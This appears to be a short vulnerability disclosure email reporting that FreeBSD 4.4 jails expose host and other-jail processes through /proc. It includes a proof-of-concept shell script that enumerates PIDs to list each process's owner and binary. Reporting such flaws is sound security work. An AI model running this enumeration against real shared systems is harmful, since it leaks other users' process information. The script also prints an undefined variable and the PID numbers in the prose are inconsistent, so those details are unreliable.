Hello,

i really have no clue if i should mail this to you guys, but we've found some issue's 
in de jail's /proc. We were able to find information about processes running outside 
the jail, or running in other jails.
eg. when i run sshd in the host system, and it has PID 655, i can login on the jail, 
and by execution "ls -l /proc/665/file" i can see what binary is running on pid 655. 
So any user of the jail system can see what processes you run on that server. I'm 
running FreeBSD 4.4-RELEASE on a i386. 

greetz,

Pieter Danhieux

Proof of concept shellscript:

#!/bin/sh
_COUNT=0;
while [ $_COUNT -le 65000 ];
do
if [ -f /proc/$_COUNT/file ];
then
 _USER=`/bin/ls -l /proc/$_COUNT/file | cut -d" " -f4`; 
 _PROC=`/bin/ls -l /proc/$_COUNT/file | cut -d" " -f14`;
echo "PID= $_TELLER     USER= $_USER    PROC= $_PROC";
fi
_COUNT=`expr $_COUNT + 1`;
done

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